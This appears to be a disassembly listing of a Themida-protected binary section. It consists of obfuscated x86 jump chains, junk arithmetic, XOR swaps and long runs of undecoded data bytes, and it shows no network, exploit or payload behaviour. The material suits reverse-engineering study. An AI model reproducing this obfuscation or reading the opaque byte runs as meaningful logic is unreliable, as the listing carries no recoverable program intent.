		dd 0FA01B0EFh, 0B08FE9h, 1C895C00h, 81E38924h, 4C3h, 5A545200h
		dd 0A380E953h, 0E289FFFFh, 775068h, 242C8900h, 75AAE9h
		dd 0E9515C00h, 0AE50h
; ---------------------------------------------------------------------------


loc_567AC0:				; CODE XREF: Themida_:005624FBj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_575005
; ---------------------------------------------------------------------------
aYUxsH		db 'Y ãXé;H',0
		dw 5400h
		dd 8124048Fh, 42404h, 348B0000h, 4C48324h, 46FDBF57h, 0EF810B5Ch
		dd 0B5C46F9h, 0CFE9FE01h, 0F70000E7h, 2DE8D1D8h, 7EFC3B34h
		dd 1DE9C101h, 0F70000EFh, 38E781DFh, 81712811h,	215013CFh
		dd 0EF814F03h, 0ECFFAE4h, 595FFA01h, 4265E9h, 240C3100h
		dd 8B240C33h, 0A9682424h, 89000046h, 32E92404h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_567B4B:				; CODE XREF: Themida_:00571C5Bj
		push	esi
		push	ebp
		push	esi
		push	5A532730h
		jmp	loc_5720AD
; ---------------------------------------------------------------------------
		dd 592434FFh, 0A51BE955h, 5059FFFFh, 0A3D3E9h, 14F75700h
		dd 243C8B24h, 0E8F8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B76:				; CODE XREF: Themida_:005728B4j
		mov	[esp], ebp
		mov	ebp, 64BC0E8Ch
		push	6DDCh
		mov	[esp], ebp
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5623D7
; ---------------------------------------------------------------------------


loc_567B91:				; CODE XREF: Themida_:0056728Ej
		push	ebp
		jmp	loc_56C59E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 62230F2Eh, 66F91F05h, 0FFC101AFh, 7AE92434h,	290000CDh
		dd 0E2C281EAh, 5D77EC52h, 26FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_567BB9:				; CODE XREF: Themida_:00573B1Bj
		pop	ebx
		push	esi
		xor	dword ptr [esp], 7E2F0F50h
		pop	edx
		xor	edx, 7E2F0F50h
		jmp	loc_57588C
; ---------------------------------------------------------------------------
aZaLsxo		db '(ÓZ€ÃLéåO',0
		db 0
; ---------------------------------------------------------------------------


loc_567BD9:				; CODE XREF: Themida_:00573743j
		mov	edx, 27B728E1h
		neg	edx
		shr	edx, 7
		jmp	loc_5685DF
; ---------------------------------------------------------------------------
		dd 3B7AF781h, 814715E9h, 2B510AF7h, 5FF93105h, 8759CA01h
		dd 0F9E92414h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_567C03:				; CODE XREF: Themida_:00570C86j
		push	629C4B16h
		jmp	loc_567F57
; ---------------------------------------------------------------------------


loc_567C0D:				; CODE XREF: Themida_:0056EC52j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_576746
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 26C9685Ch, 70E90000h, 0BFFFFFBCh, 1C305EC7h
		dd 8ED868B9h, 8BF92924h, 0C481243Ch, 4,	0C158C131h, 0E18104E9h
		dd 0C704D0Fh, 1F5668h, 24348900h, 760A67BEh, 0C8B95107h
		dd 811C6B0Dh, 4C2FB1E9h, 8149415Ch, 37D817E9h, 59CE3156h
		dd 0C15EF109h, 0BD5505E9h, 0FC8B7799h, 543C181h, 5FE936CDh
		dd 2D0000D1h, 4, 0E9240433h, 0A79Eh, 6858C321h,	503Eh
		dd 0E9240C89h, 0FFFFEAE1h
; ---------------------------------------------------------------------------


loc_567CA8:				; CODE XREF: Themida_:005643FBj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_56AE88
; ---------------------------------------------------------------------------
		dd 0F07267BBh, 0FEEB8135h, 813ED92Ch, 492FCCCBh, 6AF3811Bh
		dd 0F77BD743h, 0A3E381DBh, 813D8517h, 0CD63F5F3h, 5BD92907h
		dd 0C181D9F7h, 0CF8DB980h, 0FFE6B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567CE9:				; CODE XREF: Themida_:005671A3j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 66CD6CCFh
		jmp	loc_57452F
; ---------------------------------------------------------------------------
		dd 5FF9895Bh, 3D40BD55h, 45454EA4h, 8307EDC1h, 0F58101C5h
		dd 3D27156Ch, 25E9E901h, 1FFFFE7h, 348758C6h, 0D6F65C24h
		dd 0EE80D6F6h, 0B35366FFh, 0E9DE006Bh, 0B29Dh, 0C181E189h
		dd 4, 0CCAAE9h,	0F1815900h, 5EE91E4Ah, 7DEBE9h,	242C8900h
		dd 0C581E589h, 4, 4BA52h, 0ED810000h, 0C321D9Dh, 0BB53D501h
		dd 0C321D9Dh, 30E9DD01h, 830000D7h, 0C8904ECh, 0A6BA5224h
		dd 0B91E2839h, 50F202D9h, 0E95AD131h, 0FFFFC696h, 582434FFh
		dd 5E08950h, 4,	7B8AE9h, 24143100h, 8B241433h, 0FE682424h
		dd 8900004Bh, 0E9E92404h, 5C000002h, 83DEE9h, 5CE95200h
		dd 5C00002Fh, 89243489h, 7D2A68E6h, 14890000h, 4F5AE924h
		dd 0D1F70000h, 5B240C87h, 814BEBD1h, 0F94DBDC3h, 90F3813Fh
		dd 55840DC2h, 9CA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_567DF5:				; CODE XREF: Themida_:00575B8Fj
		add	edi, 5BCE4073h
		dec	edi
		sub	edi, 0FFFFFFFFh
		or	edi, 5207144Ah
		and	edi, 59AF151Fh
		xor	edi, 10E277C4h
		add	ecx, edi
		pop	edi
		add	ecx, esi
		sub	ecx, 48E562CEh
		pop	esi
		push	ebx
		jmp	loc_5686CA
; ---------------------------------------------------------------------------
		dw 295Eh
		dd 0F72959CEh, 26C7815Eh, 0E96F7515h, 0FFFFDFD5h
; ---------------------------------------------------------------------------


loc_567E38:				; CODE XREF: Themida_:00570C12j
		mov	ebx, 1AE72088h
		add	esi, ebx
		pop	ebx
		add	esi, 0E9865617h
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56602C
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 7FF3B924h, 0A9E9691Dh, 53FFFFBBh, 42474FFh, 24048F5Bh
		dd 6824248Bh, 0EB7h, 0AEE9E9h, 0EE95D00h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567E7F:				; CODE XREF: Themida_:00569DF5j
		push	ebx
		mov	ebx, 74200933h
		jmp	loc_562A84
; ---------------------------------------------------------------------------
		dw 6850h
		dd 0C572CADh, 6C322D58h, 0E3350F33h, 0F747056Ah, 2658E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567EA2:				; CODE XREF: Themida_:0057637Cj
		pop	ebx
		jmp	loc_56E9AD
; ---------------------------------------------------------------------------


loc_567EA8:				; CODE XREF: Themida_:0056E9AEj
		mov	eax, 6EAB7FDBh
		sub	ecx, eax
		pop	eax
		push	edi
		jmp	loc_563B33
; ---------------------------------------------------------------------------
		dw 0BB66h
		dd 7EE91AE3h, 81FFFFE7h, 4C6h, 4C68300h, 5C243487h, 660AC181h
		dd 0D9015CE6h, 660AE981h, 0D8E95CE6h, 89FFFFA3h, 4B82404h
		dd 81000000h, 0D4ED0EFh, 0E9C72947h, 93DCh, 0C281E289h
		dd 4, 8704C283h, 875C2414h, 45FD87D7h, 7C3FB951h, 0CD317B4Eh
		dd 5AE58159h, 5104DC0Fh, 0BA4F08B9h, 0ECE98124h, 0E9EB65ECh
		dd 0FFFFB1F0h, 8304C483h, 3C8904ECh, 68525524h,	4767126Ah
		dd 1EA815Ah, 81000000h,	0F057ABF2h, 5AD58929h, 534EBD55h
		dd 6C296DE7h, 0BEE90824h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567F57:				; CODE XREF: Themida_:00567C08j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	edx
		push	1A39762Ch
		pop	edx
		mov	edi, edx
		pop	edx
		push	3287h
		jmp	loc_56F4D4
; ---------------------------------------------------------------------------
		dd offset dword_56D168
		align 2
		dw 0C89h
		dd 4EAEB924h, 0CB2124A6h, 0F6C38159h, 0E9FB7DB3h, 7299h
		dd 6BE95452h, 8BFFFFBCh, 0E5E92414h, 0FF0000ADh, 5B042474h
		dd 8B24048Fh, 0C00B2424h, 2FE2840Fh, 50680000h,	89000025h
		dd 8953242Ch, 0B072E9E3h, 8B66FFFFh, 0EC83240Ch, 24348904h
		dd 24348B54h, 3321E9h, 66EF8100h, 10D206Ah, 66C781C7h
		dd 580D206Ah, 4C781h, 3C870000h, 5668E924h, 0E7890000h
		dd 4C781h, 32E90000h, 0FF000066h, 669D1C77h, 2414D259h
		dd 9034E99Ch, 0C381FFFFh, 4, 5C241C87h,	4B850h,	0BFE90000h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_568023:				; CODE XREF: Themida_:00562A60j
		pop	esp
		jmp	loc_563F57
; ---------------------------------------------------------------------------


loc_568029:				; CODE XREF: Themida_:00566BF6j
		mov	[esp], ebp
		push	edx
		push	4
		pop	edx
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_570C52
; ---------------------------------------------------------------------------
		dd 575E5856h, 0FFFBDEE9h, 8BC830FFh, 5457240Ch,	4C7815Fh
		dd 81000000h, 4C7h, 243C8700h, 3568665Ch, 0C896658h, 0E9E3B524h
		dd 54E4h, 0EC83E589h, 24148904h, 7939E9h
		db 0
; ---------------------------------------------------------------------------


loc_568085:				; CODE XREF: Themida_:0056DFE8j
		mov	[esp], ebx
		mov	bl, cl
		mov	dh, bl
		jmp	loc_57128A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0BBh
		dd 0E9116D43h, 1095h, 0E9241C8Bh, 8A8Eh, 0FF8F99E9h, 51F701FFh
		dd 0FB3D30B9h, 59CF014Ch, 5624348Bh, 0C681E689h, 4, 8704C683h
		dd 31E92434h, 0FFFFFFDFh, 8F70E930h, 0C481FFFFh, 4, 0E904EC83h
		dd 0A335h, 0E95EF031h, 9438h, 4EC81h, 18E90000h, 810000B4h
		dd 4C6h, 3AC0E900h, 34FF0000h, 0D4E95E24h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_568107:				; CODE XREF: Themida_:00565DB8j
		inc	dh
		mov	ah, dh
		jmp	loc_566330
; ---------------------------------------------------------------------------
		dd 2474FF51h, 48F5904h,	0D3E95C24h, 81FFFFC5h, 4F6309F3h
		dd 0DE895630h, 5B5EF089h, 0ECE68h, 24148900h, 0FFC4B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568139:				; CODE XREF: Themida_:00565CC4j
		push	ecx
		jmp	loc_5637F5
; ---------------------------------------------------------------------------


loc_56813F:				; CODE XREF: Themida_:00572812j
		push	416Bh
		push	esp
		pop	dword ptr [esp]
		push	eax
		jmp	loc_569065
; ---------------------------------------------------------------------------
		dw 483h
		dd 685A0424h, 171Eh, 0BF243C89h, 722A10F5h, 6FBB5352h
		dd 0BA1BBA43h, 3908DBEEh, 613E9h
		db 0
; ---------------------------------------------------------------------------


loc_568171:				; CODE XREF: Themida_:0056793Aj
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 65A84139h
		jmp	loc_5742F5
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 6624248Bh, 9C240431h, 0FF8E91E9h,	0E68956FFh
		dd 0FFBE58E9h, 7FE95CFFh
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5681BF:				; CODE XREF: Themida_:00568AFAj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56A0B1
; ---------------------------------------------------------------------------
		dw 1489h
		db '$h&',0Dh,0
		align 2
		dw 3489h
		dd 4747BE24h, 67E90664h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5681E3:				; CODE XREF: Themida_:00564004j
		xchg	eax, ecx
		neg	ecx
		xchg	eax, ecx
		xor	eax, 136A6CE6h
		xor	eax, 1B246D92h
		push	ebp
		mov	ebp, 9CEAED16h
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 73955558h
		shr	edi, 8
		neg	edi
		dec	edi
		jmp	loc_56250A
; ---------------------------------------------------------------------------
		db 66h
		dd 9C241CF7h, 0FF8E2DE9h, 2BCB81FFh, 0F74B8F1Eh, 3FCB81DBh
		dd 0F762145Ah, 0F4BA52DBh, 316F6047h, 0E9575AD3h, 9C75h
; ---------------------------------------------------------------------------


loc_568234:				; CODE XREF: Themida_:0056797Ej
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56C0C4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 13C6804h, 4890000h, 0DA12E924h, 6852FFFFh
		dd 856h, 50241C89h, 9EE2E9h, 0F6EB8000h, 0C380F328h, 0B60F5AF6h
		dd 8734FFC0h, 0FFB86EE9h, 240C89FFh, 0C1815954h, 4, 3304E983h
		dd 0C31240Ch, 240C3324h, 0FFEC37E9h, 0DCCD81FFh, 8151D602h
		dd 0C80E10EDh, 46C58150h, 316FCCBAh, 0E9415DE9h, 2B86h
		dd 81525D54h, 4ECh, 1E2DE900h, 0CB010000h, 2507B850h, 0C3290164h
		dd 0CFAE9h, 24048900h, 0FEB8h, 1C472100h, 958DE9h, 3651BD00h
		dd 0EA29BC98h, 3EAC15Dh, 5084B951h, 1FE94D45h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682EF:				; CODE XREF: Themida_:00570093j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		jmp	loc_56323C
; ---------------------------------------------------------------------------
		db 0BAh, 8Fh, 0EEh
		dd 0D7297D2Ah, 8BFB295Ah, 0C483243Ch, 0AAB7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568316:				; CODE XREF: Themida_:0056A00Dj
		add	edi, eax
		pop	eax
		shl	edi, 6
		not	edi
		add	edi, 1
		jmp	loc_5686DF
; ---------------------------------------------------------------------------
		dw 41BDh
		dd 81388476h, 7431FFE5h, 0E2C58103h, 0E902AA06h, 0C51Bh
		dd 0FF8D01E9h, 0A8E956FFh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568347:				; CODE XREF: Themida_:00564F28j
		mov	ebp, [esp]
		add	esp, 4
		push	118Ah
		mov	[esp], ecx
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	[edi+24h], ebp
		pop	ebp


loc_56836B:				; CODE XREF: Themida_:0056F803j
		push	esi
		jmp	loc_56DE4A
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 23h
		dd 5B1FB34Ch, 2474FF55h, 242C8B04h, 0AE2BE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568386:				; CODE XREF: Themida_:0056725Cj
		mov	ebp, 4
		jmp	loc_564ED8
; ---------------------------------------------------------------------------
		dd 4AE9C601h, 0F7000045h, 0E99C241Ch, 0FFFF8CA2h, 0B6EA814Ah
		dd 811C486Bh, 0CA7DB1C2h, 12C2811Ah, 6821C926h,	2B5Eh
		dd 51243C89h, 6A013368h, 0D1F75960h, 1FEBC181h,	0E9506CA9h
		dd 39A5h
; ---------------------------------------------------------------------------


loc_5683D0:				; CODE XREF: Themida_:0057635Aj
		push	ebp
		push	6731h
		mov	[esp], esi
		mov	esi, 7B5E2DD5h
		push	esi
		dec	dword ptr [esp]
		pop	esi
		shl	esi, 2
		sub	esi, 0B56F9CBAh
		mov	ebp, esi
		pop	esi
		jmp	loc_565770
; ---------------------------------------------------------------------------


loc_5683F4:				; CODE XREF: Themida_:0056C35Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_569C4C
; ---------------------------------------------------------------------------
		db 68h,	1Dh, 0Dh
		dd 0DCE90000h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56840F:				; CODE XREF: Themida_:0056E85Ej
		add	ebp, eax
		jmp	loc_56B8E6
; ---------------------------------------------------------------------------
		dw 0E821h
		dd 4EC815Dh, 89000000h,	0D5B9240Ch, 1539424h, 0AC82E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56842E:				; CODE XREF: Themida_:005725D3j
		sub	ebx, ebp
		jmp	loc_575EA0
; ---------------------------------------------------------------------------


loc_568435:				; CODE XREF: Themida_:0056D950j
		shr	eax, 18h
		xor	eax, ecx
		push	6D23h
		jmp	loc_572ED8
; ---------------------------------------------------------------------------


loc_568444:				; CODE XREF: Themida_:0056B7F9j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_56CF31
; ---------------------------------------------------------------------------
		dd 4C481h, 0E0C10000h, 71AE3502h, 99E97E57h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56846B:				; CODE XREF: Themida_:0056F920j
		pop	esi
		push	375Fh
		mov	[esp], ebp
		jmp	loc_566B80
; ---------------------------------------------------------------------------
		db 0B9h, 6Eh, 0D5h
		dd 0CD019487h, 592434FFh, 0E904C483h, 0A2D9h, 8059CC20h
		dd 0ECD0E8CCh, 8003B652h, 0EE8046F6h, 9F6AE903h, 0F381FFFFh
		dd 0F754A8h, 6F25F381h,	0D889A9AAh, 5A18E95Bh, 14890000h
		dd 57E28924h, 1E5DD0BFh, 399E904h, 0F7410000h, 6339E9D9h
		dd 0F0010000h, 0E278A82Dh, 24348B7Ch, 5104C483h, 2B9h
		dd 12BB5300h, 57E3166h,	1B401141h, 412DD829h, 8B1B4011h
		dd 0C483241Ch, 326C0504h, 0C8014A25h, 25326C2Dh, 0EABB534Ah
		dd 0F7385E0Eh, 2E3C1D3h, 945CE952h, 6850FFFFh, 7FC1h, 0BA068h
		dd 24248900h, 4240483h,	8324048Fh, 58042404h, 47536856h
		dd 3C890000h, 0C8BA5224h, 0F749E262h, 81E281DAh, 4A278067h
		dd 0FFB080E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56854D:				; CODE XREF: Themida_:0056BFA1j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_561042
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0EFC0ECB7h, 0E9C7FE03h, 1367h
; ---------------------------------------------------------------------------


loc_568570:				; CODE XREF: Themida_:00576001j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		push	28C8h
		mov	[esp], ebx
		push	2000h
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		jmp	loc_5619CB
; ---------------------------------------------------------------------------


loc_568597:				; CODE XREF: Themida_:00568BFDj
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56D4E0
; ---------------------------------------------------------------------------


loc_5685B0:				; CODE XREF: Themida_:0056D993j
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 0F448C3h
		jmp	loc_56AF8C
; ---------------------------------------------------------------------------
		db 29h
		dd 0E573E9FAh, 5759FFFFh, 0C7815F54h, 4, 4C781h, 3C870000h
		dd 63E95C24h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5685DF:				; CODE XREF: Themida_:00567BE3j
		push	edi
		mov	edi, 28AA1849h
		sub	edi, 4FBC124Eh
		jmp	loc_57268B
; ---------------------------------------------------------------------------
		dd 0B1C1815Ah, 8158CF37h, 482657C1h, 0E9F1017Dh, 0CCC0h
		dd 0D3968h, 241C8900h, 33081968h, 0A7E95B82h, 330000AAh
		dd 1C31241Ch, 241C3324h, 4C4835Ch, 0B6F8E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56862A:				; CODE XREF: Themida_:005709F7j
		push	dword ptr [esp]
		jmp	loc_5725E6
; ---------------------------------------------------------------------------
		dw 95Bh
		dd 24348BF0h, 5504C483h, 4206CBBDh, 0E9E8017Eh,	6670h
		dd 555EEA81h, 0F2015959h, 555EC281h, 685E5959h,	5BBAh
		dd 0BF243C89h, 2, 11DBC281h, 0FA0166A3h, 11DBEA81h, 34FF66A3h
		dd 89515F24h, 4C181E1h,	83000000h, 0C3304C1h, 240C3124h
		dd 5C240C33h, 31241433h, 14332414h, 4285C24h, 0A3E99C24h
		dd 81FFFF89h, 672C8EC6h, 2E6C115h, 89A0F681h, 0F521DCDFh
		dd 2E5C15Eh, 0ED7E581h,	0C581257Eh, 35AA5A88h, 2D34A22Dh
		dd 12BE970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5686CA:				; CODE XREF: Themida_:00567E21j
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		push	eax
		jmp	loc_564BC2
; ---------------------------------------------------------------------------


loc_5686DF:				; CODE XREF: Themida_:00568321j
		xor	edi, 13C73422h
		xor	ecx, edi
		pop	edi
		jmp	loc_576AEE
; ---------------------------------------------------------------------------
		db 0F6h, 0DAh, 80h
		dd 0D48852F2h, 0CEB2525Ah, 0C2FEDAF6h, 1E63E9h,	4C68100h
		dd 87000000h, 55C2434h,	31CE5001h, 9DCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_568715:				; CODE XREF: Themida_:00572615j
		add	esp, 4
		jmp	loc_570DEC
; ---------------------------------------------------------------------------
		db 5Fh,	0FFh, 34h
		dd 24348B24h, 4C481h, 89570000h, 4C781E7h, 83000000h, 3C8704C7h
		dd 34FF5C24h, 89565824h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 0DCEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_568755:				; CODE XREF: Themida_:0056CE0Fj
		dec	ebx
		add	ebx, 7DA80FBEh
		and	ebx, 54A30BB3h
		xor	ebx, 658A51AEh
		add	ebx, 323C213Dh
		add	ebx, 6C398B38h
		add	ecx, ebx
		pop	ebx
		jmp	loc_56BC1E
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFFBEDh, 0E1E9DA01h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56878B:				; CODE XREF: Themida_:00565D5Fj
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5615D8
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0C4E90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5687AB:				; CODE XREF: Themida_:0056183Dj
		pop	eax
		mov	[edi+eax*4], bl
		pop	ebx
		jmp	loc_561042
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 0FFB135E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5687C1:				; CODE XREF: Themida_:0056DAB8j
		and	ebx, 79B877E4h
		sub	ebx, 13134E50h
		or	ebx, 6C4077B3h
		xor	ebx, 70B14F4Ch
		sub	ebx, 0FE506E89h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 373C2382h
		jmp	loc_5630C4
; ---------------------------------------------------------------------------
		db 1, 0E8h, 56h
		dd 6176857h, 0E95F12BAh, 0AAA7h, 2B8h, 58C10100h, 8B240C87h
		dd 0C82C2424h, 0C804F800h, 34FF1F04h, 0D7EAE924h, 2DADFFFFh
		dd 49906D20h, 0CA6851h,	2C890000h, 0F6BB5324h, 0F7024D07h
		dd 0A8B951DBh, 318304FBh, 240C8BCBh, 8904C483h,	3B95BDDh
		dd 1A4AC75h, 5389E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568856:				; CODE XREF: Themida_:00561583j
		add	bl, dh
		pop	dx
		jmp	loc_5757F4
; ---------------------------------------------------------------------------
		db 0D1h
		dd 1CC781EFh, 1FDF0D1h,	0B8505FFAh, 4, 8758C229h, 0B3E92414h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56887B:				; CODE XREF: Themida_:00566A50j
		mov	eax, 3CD277Fh
		jmp	loc_574261
; ---------------------------------------------------------------------------
		db 68h,	0DDh, 0Dh
		dd 8F540000h, 4812404h,	424h, 0E9565F00h, 0FFFFAAD3h, 8088B551h
		dd 0D5F62DC5h, 3F9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5688A9:				; CODE XREF: Themida_:005708D3j
		xor	ecx, ebp
		pop	ebp
		jmp	loc_566E63
; ---------------------------------------------------------------------------


loc_5688B1:				; CODE XREF: Themida_:00570C99j
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_575574
; ---------------------------------------------------------------------------
aISS		db '‰,$éÎs',0
		dd 8DEA8100h, 52F85DCBh, 21242C81h, 59086417h, 1721BA52h
		dd 0C1810864h, 351E0E79h, 0E981D101h, 351E0E79h, 24148B5Ah
		dd 81E68956h, 4C6h, 4C68300h, 31243433h, 34332434h, 24248B24h
		dd 0D913E9h, 89575C00h,	4C781E7h, 0E9000000h, 0FFFF8E12h
		dd 1B860566h, 2360E9h, 24148B00h, 0FFA3E7E9h, 241C8BFFh
		dd 5204C483h, 88E18851h, 240C8BCAh, 4C481h, 0D3880000h
		dd 325DE9h
		db 0
; ---------------------------------------------------------------------------


loc_568949:				; CODE XREF: Themida_:00568FE3j
		mov	edx, 7AEB693Dh
		mov	esi, 26AD5345h
		xor	esi, edx
		jmp	loc_566299
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 5793B850h, 74052458h, 2D3FA56Eh, 5BF19A09h, 4A58C289h
		dd 18C1C281h, 0D10944EAh, 5A2434FFh, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0A037h, 24148B66h, 147E68h, 240C8900h
		dd 0FFF397E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5689A5:				; CODE XREF: Themida_:0056BDC2j
		neg	ecx
		jmp	loc_571699
; ---------------------------------------------------------------------------
		dd 24048B66h, 1AC468h, 24148900h, 24148B54h, 4C481h, 5EE90000h
		dd 5CFFFF99h, 34FFD901h, 1324E924h, 29680000h, 89000062h
		dd 75682404h, 58299E66h, 5DADE9h, 4EEC100h, 0BA69E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5689EE:				; CODE XREF: Themida_:0056DEC9j
		or	ebx, esi
		mov	esi, [esp]
		jmp	loc_5767EF
; ---------------------------------------------------------------------------
aXst		db 'Xéâß',0
		align 2
		dw 1C87h
		dd 0AC99E924h, 26B9FFFFh, 101A00Ch, 0BE5659CDh,	26060E0h
		dd 0D721E9h, 48F5900h, 24248B24h, 0DFD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_568A25:				; CODE XREF: Themida_:00564CD2j
		push	1262h
		mov	[esp], ebp
		push	edi
		jmp	loc_561F51
; ---------------------------------------------------------------------------
		db 8Fh
		dd 54502404h, 40558h, 0BB530000h, 4, 875BD829h,	0B1E92404h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_568A4F:				; CODE XREF: Themida_:0056F5C1j
		mov	[esp], ecx
		mov	ecx, 1909133Fh
		xor	ecx, 268C022Bh
		and	esi, ecx
		jmp	loc_56CDAA
; ---------------------------------------------------------------------------


loc_568A64:				; CODE XREF: Themida_:005679BFj
		sub	edx, ebp
		jmp	loc_57517D
; ---------------------------------------------------------------------------


loc_568A6B:				; CODE XREF: Themida_:0056A533j
		push	esp
		push	dword ptr [esp]
		jmp	loc_572AE0
; ---------------------------------------------------------------------------
		dd 241C8966h, 0FE8817B7h, 80AAE9h, 1C895C00h, 4DE924h
		dd 1590000h, 0BF575AD0h, 742B0B01h, 0BDE2EF81h,	0A82DFE9Eh
		dd 0E950934Ch, 4EC9h, 3304C483h, 1C31241Ch, 241C3324h
		dd 0B9CCE95Ch, 0C681FFFFh, 4, 0FF894BE9h, 895258FFh, 4C281E2h
		dd 83000000h, 148704C2h, 0B5E95C24h, 890000ABh,	0DD21E9E3h
		dd 8F5EFFFFh, 0E95C2404h, 99C7h
; ---------------------------------------------------------------------------


loc_568AE8:				; CODE XREF: Themida_:0056C6B8j
		pop	edi
		push	edi
		push	7C8Ah
		mov	[esp], eax
		push	4
		pop	eax
		push	eax
		pop	edi
		jmp	loc_5681BF
; ---------------------------------------------------------------------------
		db 5
		dd 4, 5C240487h, 6871B450h, 7076h, 0B1240C89h, 80C9FEE9h
		dd 6DE9A2E9h, 0BAFFFFF9h, 582F5398h, 2475E953h,	0D1590000h
		dd 0A792E9EBh, 815E0000h, 4C4h,	0BA95E900h, 0C14F0000h
		dd 0DFF707E7h, 0A2DBE953h, 0BBE0000h, 31774852h, 0E1C15EF1h
		dd 0D87CE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B5A:				; CODE XREF: Themida_:00566294j
		add	esp, 4
		jmp	loc_56BA6E
; ---------------------------------------------------------------------------
		db 42h,	81h, 0ECh
		dd 4, 0B8240489h, 1B600935h, 0FFA64FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568B79:				; CODE XREF: Themida_:0056FC44j
		push	eax
		push	edx
